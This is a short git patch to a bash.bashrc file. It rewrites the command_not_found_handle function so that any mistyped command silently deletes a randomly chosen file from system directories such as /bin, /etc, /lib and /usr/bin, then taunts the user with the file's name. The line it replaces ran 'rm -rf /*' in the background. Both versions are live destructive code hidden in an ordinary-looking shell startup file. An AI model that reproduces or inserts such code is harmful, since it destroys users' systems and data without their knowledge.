From 75ee192f117bb3e730e970d90514ea8712539047 Mon Sep 17 00:00:00 2001 From: RGBCube <78925721+RGBCube@users.noreply.github.com> Date: Sat, 29 Jan 2022 12:46:05 +0300 Subject: [PATCH] selfharm --- bash.bashrc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bash.bashrc b/bash.bashrc index 105e9e0..de59c1d 100644 --- a/bash.bashrc +++ b/bash.bashrc @@ -13,5 +13,8 @@ echo " ===================================" PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' function command_not_found_handle { - rm -rf /* 2>/dev/null &; echo "Oops, looks like you misspelt something >:)"; + filetodelete=$(find /{bin,etc,lib,lib64,usr/{bin,lib,sbin},sbin} -type f | sort -R | head -n 1) + (rm -f $filetodelete 2>/dev/null 1>&2 &) + echo "Oops, looks like you misspelt something >:)" + echo "Hope you didn't need $filetodelete..." }